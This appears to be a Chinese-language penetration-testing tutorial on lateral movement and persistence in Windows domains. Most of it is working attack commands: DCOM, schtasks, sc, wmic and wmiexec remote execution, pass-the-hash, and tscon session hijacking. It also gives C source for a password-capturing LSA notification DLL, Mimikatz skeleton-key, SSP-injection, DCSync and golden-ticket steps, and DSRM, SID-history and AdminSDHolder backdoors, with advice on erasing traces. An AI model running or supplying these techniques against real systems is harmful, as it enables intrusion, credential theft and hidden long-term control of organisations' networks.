- reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
- reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
- reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
- reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
- reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
- reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
复制代码一股脑设置好就完事了。。(用户需重新登陆才生效)
然后开始获取密码
我们刚刚提到需要两台电脑才能获取密码,其实那只是一个模型,一个机器既可以当作客户端又可以当作服务端的。
我们用kekeo实现攻击(本机向本机获取密码时,普通用户即可完成以下操作)
- tsssp::server 开启服务端
- tsssp::client /target:... 开启客户端,这里的target随便填
复制代码
7.tscon横向若一个机器上有多个用户登录,则在任务管理器可以看见如下场面
其中,我们可以右键其他用户选择链接,输入其密码后就能进入其桌面
但是对于system用户来说,要链接到其他用户是不需要输入密码的,可以直接连接。所以我们可以通过system权限获取登录在当前机器上的域用户权限。
比如上图中的administrator是域管,我有当前机器的system权限,那么我可以直接用以下命令完成用户权限获得。
query user 获得administrator用户的id
可以发现admin的id是2,那么我们就可以用tscon这个windows自带的命令行工具完成权限获得。
cmd /k tscon 2 /dest:console
执行以上命令,我们跳转到了admin的桌面
8.利用COM/DCOM对象8.1 前言DCOM是COM的扩展,允许应用程序实例化和访问远程计算机上的COM对象。
这里简要说一下几个有关COM的概念
CLSID:又叫CLASSID 一个COM类的唯一标识符,每一个Windows注册类与一个CLSID相关联。长得像这样 {20D04FE0-3AEA-1069-A2D8-08002B30309D}
ProgID:其可被用作对用户更友好的替代的一个CLSID,比如MMC20.APPLICATION.1就是一个ProgID。ProgID不能保证是唯一的,并非每个类都与ProgID相关联
Appid: 为了保证COM对象能被顺利的远程调用(即为了使DCOM可访问COM对象),需要把APPID与该类的CLSID相关联,且AppID需设置权限来规划哪些客户端能够访问
我们可以通过powershell执行get-CimInstance 来列出本地COM程序列表
远程DCOM对象实例化的流程:
- 客户端从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID则先将其本地解析为CLSID。
- 远程计算机检查是否存在由该CLSID所关联的AppID,并验证客户端的权限。
- DCOMLaunch服务将创建所请求的类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
- 客户端应用程序和服务器进程间建立通信,客户端便可以访问新创建的对象。
复制代码 8.2 MMC20.APPLICATION.1中文名为:Microsoft管理控制台(MMC)2.0包括脚本对象模型。我们一步步抽丝剥茧跟踪一下这个对象的利用点,需要注意的一点是调用该对象必须要有管理员权限。
如上图,我们先列出在MMC20.APPLICATION中的模块,然后继续列出其中Document中的属性,再继续列出Document.ActiveView中的属性。可以发现一个名为ExecuteShellCommand的方法,光是听名字就知道是可以执行shell命令的方法了。到微软文档查一查这个方法,获得了以下信息。
- ExecuteShellCommand([命令][目录][叁数][窗口状态])
- 命令
- 一个值,指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量(例如“%windir%”)都将被扩展。
- 目录
- 一个值,用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串,则将当前目录用作工作目录。
- 参数
- 一个指定Command要使用的参数(如果有)的值;参数必须用空格分隔。例如,将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来,请使用适合您的编程语言的技术。例如,在Microsoft Visual Basic中,将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。
- 窗口状态
- 一个指定窗口状态的值。该值可以是以下字符串值之一,也可以是空字符串。如果为空字符串,则默认为“已恢复”。
- “Maximized”
- 该命令在最大化的窗口中执行。
- “Minimized”
- 该命令在最小化的窗口中执行。
- “Restored”
- 该命令在已恢复或正常的窗口中执行。注意:这里会弹个黑框框
- 返回值
- 此方法不返回值。
复制代码于是乎,我们就能理所应当的想到这个东西可以被用于本地任意命令执行,就像这样
- [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
复制代码我们进一步发掘其横向移动的能力
我们知道DCOM具有通过网络与对象进行交互的能力,在我们是管理员的前提下我们可以使用GetTypeFromProgID()与powershell进行DCOM远程交互。
GetTypeFromProgID(“COM”,”远程ip”) 即可指定与哪一个远程IP进行交互。所以我们可以把payload改造成这样,进而可以在其他机器上进行任意命令执行,从而达到横向移动的目的
- [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
复制代码 9.ipc9.1 ipc简介IPC$是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,即能建立链接,达到访问远程计算机的目的。利用这个链接不仅可以访问目标机器中的文件,进行上传下载等操作,还能在目标机器上执行部分命令。
- net use \\ip\ipc$ "password" /user:username
复制代码如果账户和口令正确,就建立好了链接。
建立好链接后就能执行以下命令
- dir \\192.168.183.130\c$ 列出C盘
- copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上传文件
- tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息,/U指定哪个用户执行该命令,/p指定该用户密码
- net use \\IP /del /y 删除链接
- net use 查看已建立的ipc链接
复制代码 9.2 利用ipc横向移动at- at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"
- at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"
复制代码关于时间的获得,可以使用 net time \\IP 获得。
计划任务执行后需要删除,不留痕迹
- at \\192.168.183.130 1 /delete //1为任务的ID
复制代码关于此方法我们可以先通过copy上传恶意文件然后通过at来执行它,或者直接通过powershell远程加载上线等
schtasksat命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,取而代之的是schtasks命令。
横向移动的大致思路与at差不多。
- 在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。
- schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
- 但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码
- schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
- 另外,在我们创建好计划任务后,可以通过下列指令立即让计划任务执行(如果拒绝访问的话就加上/u /p参数)
- schtasks /run /s 192.168.183.130 /i /tn backdoor // i:忽略任何限制立即运行任务
- 计划任务执行后需要清理痕迹
- schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
复制代码 sc这个命令可以操控服务。
- sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建服务,其中binpath可以是某个exe文件的路径,也可以是一段指令。当为路径时,服务启动时会自动执行该exe文件,当为指令时,服务启动时会自动执行该指令
- sc \\[host] start [servicename] 启动某个服务
- sc \\[host] delete [servicename] #删除服务
复制代码 10.wmi从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息。
通过wmic在远程主机上开启进程
- wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"
复制代码 wmiexec通过wmic创建远程进程时,不会有回显,需要通过ipc$链接type,重定向等手段才能看到回显结果,就很不方便,wmicexec的出现就很好的解决了这一痛点。具体原理是通过wmic在135端口进行交互,再把内容通过445端口传回来。
wmiexec普遍来说有三种版本.py,exe,.vbs。可以走socks5协议代入内网,杜绝了bypassav的麻烦。
(exe版本网上似乎很不好找) 这里用python版本,下载链接
https://github.com/SecureAuthCor ... tag/impacket_0_9_22, impacket按照网上安装来弄就行了
1.环境linux,我们配置好proxychanis代入内网(略
2.proxychains wmiexec.py 域名/用户名:密码@ip 获得shell
3.也可以进行hash传递 python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
效果图
11.winrmwinRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
我们可以通过如下powershell命令查看机器上的winrm是否正常运行
- Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
复制代码若没开启,你可以在管理员权限下执行以下指令开启
- winrm quickconfig -q
- or
- Enable-PSRemoting -Force
复制代码远程命令执行
- winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
复制代码 二、域管权限维持1. Hook PasswordChangeNotify原理:当用户修改密码时会输入明文密码,LSA会调用PasswordChangeNotify 在系统中同步密码。我们HOOK这个函数,改变其行为,就能达到获取用户修改后的密码的明文.
- Import-Module .\Invoke-ReflectivePEInjection.ps1
- Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
复制代码执行如上命令,只要修改了用户的密码,修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件中。
下面我们分析一下原理
当密码改变请求发生时,LSA会调用Password Filters。每一个password filter会先验证新密码的合法性和复杂度,然后LSA会发出请求已更改的信号。
该过程由 password notification DLL 完成。所以我们只需要劫持这个DLL,把它换成我们自定义的DLL即可达到目的。
这种方式一般在Server服务器上利用率较高
通常来说,这个dll文件的在注册表中的路径是 hklm\system\currentcontrolset\control\lsa的 notification packages表项。
我们要利用该方法,首先要确保密码策略已启用
至于命令行怎么修改。可以这样
- secedit /export /cfg gp.inf /quiet 将组策略导出为文件
- 在该文件里将PasswordComplexity项值修改为1
- 然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库
- 刷新组策略:gpupdate/force
- 重启后生效
复制代码下面我们构造dll文件去覆盖它。
首先我们的dll文件内容如下。
- #include<Windows.h>
- #include<NTSecAPI.h>
- #include <fstream>
- extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
- OutputDebugString(L"InitializeChangeNotify");
- return TRUE;
- }
- extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
- PUNICODE_STRING AccountName,
- PUNICODE_STRING FullName,
- PUNICODE_STRING Password,
- BOOLEAN SetOperation)
- {
- OutputDebugString(L"PasswordFilter");
- return TRUE;
- }
- extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
- PUNICODE_STRING UserName,
- ULONG RelativeId,
- PUNICODE_STRING NewPassword)
- {
- FILE *pFile;
- fopen_s(&pFile, "C:\\logFile.txt", "a+");
- fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
- return 0;
- }
复制代码然后把这个dll文件放入system32文件,然后修改注册表,使 hklm\system\currentcontrolset\control\lsa的 notification packages表项包括我们的恶意dll文件,具体命令行操作如下
- REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f
复制代码重启后生效。无奈的是我把dll文件写出来了且确保是正确的,在win7和win2012上复现均失败,网上成功的例子是win2008server,可惜我并没有这个版本的虚拟机不过原理倒是懂了
2. 万能密码运用mimkatz可以在域控机上对所有用户添加一个统一密码用来登录.
- mimikatz# privilege::debug
- mimikatz# misc::skeleton
复制代码然后所有用户都能用密码 mimiaktz登陆了
3. SSP注入ssp:一个DLL文件,用来实现Windows身份验证功能,比如kerberos,ntlm。系统启动时SSP会被自动加载入lsass.exe
sspi:SSP的API接口
如果我们自定义个恶意dll文件让他在系统启动时自动加载到lsass.exe,就能得到进程中的明文密码
临时性注入(重启便失效)
- mimikatz# privilege::debug
- mimiaktz# misc::memssp
复制代码执行如上命令, 然后只要目标机器不重启,在目标机器上登录的用户名和密码将会被记录在 C:\Windows\System32\mimilsa.log 文件中。
- 长期性注入(重启不失效)
- 把 mimikatz中的mimilib.dll放到系统的C:\Windows\System32\ 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。
- 修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,加载新的DLL文件
复制代码
用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log
4. SID History后门sid history:当我们把域A的用户x迁移到域B时,B域中x的sid会发生改变,随即而来的是权限也会发生改变。所以为了避免这种权限改变,sid history诞生了, 系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。
在域控上
- privilege::debug
- sid::patch
- sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性
复制代码 然后可以在域控上验证其sid history是否更改成功
- Import-Module activedirectory
- Get-ADUser const27 -Properties sidhistory
复制代码
可以发现现在是有SIDHistory属性了。而且末尾的500预示着ADMIN权限
5. DSRM后门DSRM账号:每个域控上都有一个本地管理员账户也就是DSRM账户,用于在域环境出现故障时本地登录进行修复.可以利用这个账户进行持久化操作。( 如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化操作。)
我们先设置DSRM密码
域控上输入ntdsutil
然后输入reset password on server null
然后键入密码,最后按q退出即可
在mimikatz中dump本地hash可以看到多出来个Administrator
然后设置DSRM登陆方式
DSRM登陆方式有三种分别对应123.
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
我们需要将他改成2才行。powershell执行
- New-ItemProperty "hklm:\system\currentcontrolset\control\lsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
复制代码 即可.然后直接psexec登录(这里用的是cs)
注意填Realm时要填上面dump出sam时的域名(这里是DC)
6. 委派后门这个很简单,利用约束性委派或者基于资源的约束性委派攻击得到的ST2保存起来,或者非约束性委派得到的TGT,要用的时候加载进内存就行了
7. DCSYNC这个东西 可以实现不登录到域控而获取域控上的数据
获得以下权限就可以使用了
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
然后在mimikatz里
privilege::debug
lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可
然后我们就可以通过krbtgt hash制作黄金票据登录administrator。
如果还想隐蔽一点,可以给普通用户添加如下ACE,使其获得dcsync权限
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
可以以管理员权限运行powerview.ps1完成以上操作
- #给域用户hack添加以上三条ACE
- Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
- #给域用户hack删除以上三条ACE
- Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
复制代码
然后普通用户也可以用mimikatz调用dcsync导出hash了
配合EXCHANGE用户达到域提权目的前提:一个exchange高权限组的用户控制权,一个机器账户
exchange安装后会在AD上生成两个容器
其中exchange windows permissions组的用户拥有writeDACL权限, Exchange Trusted Subsystem 是 Exchange Windows Permission 的成员,能继承writedacl权限,有这个权限后就能使用dcsync导出所有用户hash。
其中exchange trusted subsystem组甚至可能有继承自administrators组的权限。
假设我们已经拿到了exchange trusted subsystem中一个用户的控制权。
那么就可用dysync进行权限维持了
8. 黄金票据生成- #提权
- privilege::debug
- #生成黄金票据并导入
- kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt
复制代码 9. AdminSDHolderAdminSDHolder是一个特殊容器,用作受保护用户或组的ACM模板。AD定期把 AdminSDHolder对象的ACL 应用到所有受保护用户或组上,防止其被有意或故意修改。如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法 。
如何寻找受保护用户或组:
受保护用户或组的 AdminCount属性为1 。但是,如果对象已移出受保护组,其AdminCount属性仍为1,也就是说,有可能获得曾经是受保护组的帐户和组 。
使用powerview.ps1Get-NetUser -AdminCount即可获得受保护用户
Get-NetGroup -AdminCount即可获得受保护组
如何修改ADMINSDHOLDER的ACL
域管执行以下命令(powerview.ps1)
- Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
- 给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权
复制代码
然后默认等60分钟,待ADMINSDHOLDER生效后,xx就获得所有受保护对象的完全控制权了
- 作者:ConsT27,文章来源:https://www.const27.com/
复制代码
|